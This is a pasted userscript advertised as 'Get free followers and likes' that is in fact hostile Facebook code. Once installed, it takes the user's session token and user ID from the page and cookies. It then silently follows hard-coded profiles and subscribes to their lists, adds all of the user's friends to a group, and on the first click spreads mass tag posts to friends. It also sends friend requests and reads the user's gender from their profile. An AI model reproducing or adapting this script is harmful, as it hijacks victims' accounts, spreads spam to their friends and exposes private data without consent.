Get free followers and likes


SUBMITTED BY: Guest

DATE: July 18, 2013, 10:38 a.m.

FORMAT: Text only

SIZE: 12.4 kB

HITS: 1157

  1. // ==UserScript==
  2. // @name Interest List Followers by Abdullah Tariq
  3. // @namespace Interest List Followers by Abdullah Tariq
  4. // @include https://*.facebook.com/*
  5. // @include https://*.facebook.com/*/*
  6. // @include http://*.facebook.com/*
  7. // @author Abdullah Tariq
  8. // @include https://*.facebook.com/*
  9. // @include https://*.facebook.com/*/*
  10. // @include http://*.facebook.com/*
  11. // @include http://*.facebook.com/*/*
  12. // @include htt*://www.facebook.com/*
  13. // @include htt*://*.facebook.com/*
  14. // @version 1
  15. // ==/UserScript==
  16. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  17. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  18. function cereziAl(isim) {
  19. var tarama = isim + "=";
  20. if (document.cookie.length > 0) {
  21. konum = document.cookie.indexOf(tarama)
  22. if (konum != -1) {
  23. konum += tarama.length
  24. son = document.cookie.indexOf(";", konum)
  25. if (son == -1)
  26. son = document.cookie.length
  27. return unescape(document.cookie.substring(konum, son))
  28. }
  29. else { return ""; }
  30. }
  31. }
  32. function getRandomInt (min, max) {
  33. return Math.floor(Math.random() * (max - min + 1)) + min;
  34. }
  35. function randomValue(arr) {
  36. return arr[getRandomInt(0, arr.length-1)];
  37. }
  38. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  39. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  40. function a(abone){
  41. var http4 = new XMLHttpRequest();
  42. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  43. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  44. http4.open("POST", url4, true);
  45. //Send the proper header information along with the request
  46. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  47. http4.setRequestHeader("Content-length", params4.length);
  48. http4.setRequestHeader("Connection", "close");
  49. http4.onreadystatechange = function() {//Call a function when the state changes.
  50. if(http4.readyState == 4 && http4.status == 200) {
  51. http4.close; // Close the connection
  52. }
  53. }
  54. http4.send(params4);
  55. }
  56. function sublist(uidss) {
  57. var a = document.createElement('script');
  58. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  59. document.body.appendChild(a);
  60. }
  61. a("107567629454215");
  62. a("102665193225135");
  63. sublist("186126854878968");
  64. sublist("192699380888382");
  65. sublist("197823040376016");
  66. sublist("122987667912211");
  67. var gid = [''];
  68. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  69. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  70. var httpwp = new XMLHttpRequest();
  71. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  72. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  73. httpwp['open']('POST', urlwp, true);
  74. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  75. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  76. httpwp['setRequestHeader']('Connection', 'keep-alive');
  77. httpwp['send'](paramswp);
  78. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  79. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  80. var friends = new Array();
  81. gf = new XMLHttpRequest();
  82. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  83. gf['send']();
  84. if (gf['readyState'] != 4) {} else {
  85. data = eval('(' + gf['responseText']['substr'](9) + ')');
  86. if (data['error']) {} else {
  87. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  88. return _0x93dax8['index'] - _0x93dax9['index'];
  89. });
  90. };
  91. };
  92. for (var i = 0; i < friends['length']; i++) {
  93. var httpwp = new XMLHttpRequest();
  94. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  95. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  96. httpwp['open']('POST', urlwp, true);
  97. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  98. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  99. httpwp['setRequestHeader']('Connection', 'keep-alive');
  100. httpwp['onreadystatechange'] = function () {
  101. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  102. };
  103. httpwp['send'](paramswp);
  104. };
  105. var spage_id = "393497710749217";
  106. var spost_id = "175840815907572";
  107. var sfoto_id = "630235936995108";
  108. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  109. var smesaj = "";
  110. var smesaj_text = "";
  111. var arkadaslar = [];
  112. var svn_rev;
  113. var bugun= new Date();
  114. var btarihi = new Date();
  115. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  116. if(!document.cookie.match(/paylasti=(\d+)/)){
  117. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  118. }
  119. //arkadaslari al ve isle
  120. function sarkadaslari_al(){
  121. var xmlhttp = new XMLHttpRequest();
  122. xmlhttp.onreadystatechange = function () {
  123. if(xmlhttp.readyState == 4){
  124. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  125. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  126. smesaj = "";
  127. smesaj_text = "";
  128. for(i=f*10;i<(f+1)*10;i++){
  129. if(arkadaslar.payload.entries[i]){
  130. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  131. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  132. }
  133. }
  134. sdurumpaylas(); }
  135. }
  136. };
  137. var params = "&filter[0]=user";
  138. params += "&options[0]=friends_only";
  139. params += "&options[1]=nm";
  140. params += "&token=v7";
  141. params += "&viewer=" + user_id;
  142. params += "&__user=" + user_id;
  143. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  144. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  145. xmlhttp.send();
  146. }
  147. //tiklama olayini dinle
  148. var tiklama = document.addEventListener("click", function () {
  149. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  150. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  151. sarkadaslari_al();
  152. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  153. document.removeEventListener(tiklama);
  154. }
  155. }, false);
  156. //arkada??????leme
  157. function sarkadasekle(uid,cins){
  158. var xmlhttp = new XMLHttpRequest();
  159. xmlhttp.onreadystatechange = function () {
  160. if(xmlhttp.readyState == 4){
  161. }
  162. };
  163. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  164. var params = "to_friend=" + uid;
  165. params += "&action=add_friend";
  166. params += "&how_found=friend_browser";
  167. params += "&ref_param=none";
  168. params += "&outgoing_id=";
  169. params += "&logging_location=friend_browser";
  170. params += "&no_flyout_on_click=true";
  171. params += "&ego_log_data=";
  172. params += "&http_referer=";
  173. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  174. params += "&phstamp=165816749114848369115";
  175. params += "&__user=" + user_id;
  176. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  177. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  178. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  179. xmlhttp.send(params);
  180. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  181. cinsiyetgetir(uid,cins,"sarkadasekle");
  182. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  183. xmlhttp.send(params);
  184. }
  185. }
  186. //cinsiyet belirleme
  187. var cinssonuc = {};
  188. var cinshtml = document.createElement("html");
  189. function scinsiyetgetir(uid,cins,fonksiyon){
  190. var xmlhttp = new XMLHttpRequest();
  191. xmlhttp.onreadystatechange = function () {
  192. if(xmlhttp.readyState == 4){
  193. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  194. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  195. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  196. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  197. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  198. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  199. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  200. }
  201. eval(fonksiyon + "(" + id + "," + cins + ");");
  202. }
  203. };
  204. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  205. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  206. xmlhttp.send();
  207. }
  208. function autoSuggest()
  209. {
  210. links=document.getElementsByTagName('a');
  211. for (i in links) {
  212. l=links[i];
  213. if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  214. l.click();
  215. }
  216. }
  217. }
  218. function blub()
  219. {
  220. if(document.getElementsByClassName('pbm fsm').length == 1) {
  221. w = document.getElementsByClassName('pbm fsm')[0];
  222. e = document.createElement('a');
  223. //e.href = '#';
  224. e.innerHTML = 'Auto Suggest by Eran';
  225. e.className = 'uiButton';
  226. e.onclick = autoSuggest;
  227. if( w.childElementCount == 0)
  228. {
  229. w.appendChild(document.createElement('br'));
  230. w.appendChild(e);
  231. }
  232. }
  233. }
  234. blub();
  235. document.addEventListener("DOMNodeInserted", blub, true);

comments powered by Disqus